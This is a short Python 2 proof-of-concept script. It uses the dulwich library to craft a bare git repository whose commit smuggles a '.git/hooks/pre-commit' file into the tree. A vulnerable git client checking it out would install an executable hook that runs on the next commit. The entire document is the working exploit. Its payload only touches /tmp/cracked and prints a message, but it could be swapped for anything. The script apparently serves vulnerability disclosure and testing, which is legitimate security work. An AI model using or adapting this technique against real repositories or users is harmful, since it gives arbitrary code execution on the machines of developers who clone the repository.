#!/usr/bin/env python2 import os import time from dulwich.repo import Repo from dulwich.objects import Blob, Tree, Commit, parse_timezone repo_dir = 'PoC.git' os.mkdir(repo_dir) repo = Repo.init_bare(repo_dir) evil_file = Blob.from_string("""#!/usr/bin/env python import subprocess subprocess.call(["/bin/touch", "/tmp/cracked"]) print('You just got cracked! (not really but you could have been!)') """) hooks_tree = Tree() hooks_tree.add('pre-commit', 0o100755, evil_file.id) git_tree = Tree() git_tree.add('hooks', 0o40000, hooks_tree.id) root_tree = Tree() root_tree.add('.git', 0o40000, git_tree.id) commit = Commit() commit.tree = root_tree.id author = "Dr. Evil " commit.author = commit.committer = author commit.commit_time = commit.author_time = int(time.time()) tz = parse_timezone('-0200')[0] commit.commit_timezone = commit.author_timezone = tz commit.encoding = "UTF-8" commit.message = "Evil commit" repo.object_store.add_objects([ (evil_file, None), (hooks_tree, None), (git_tree, None), (root_tree, None), (commit, None), ]) repo.refs['refs/heads/master'] = commit.id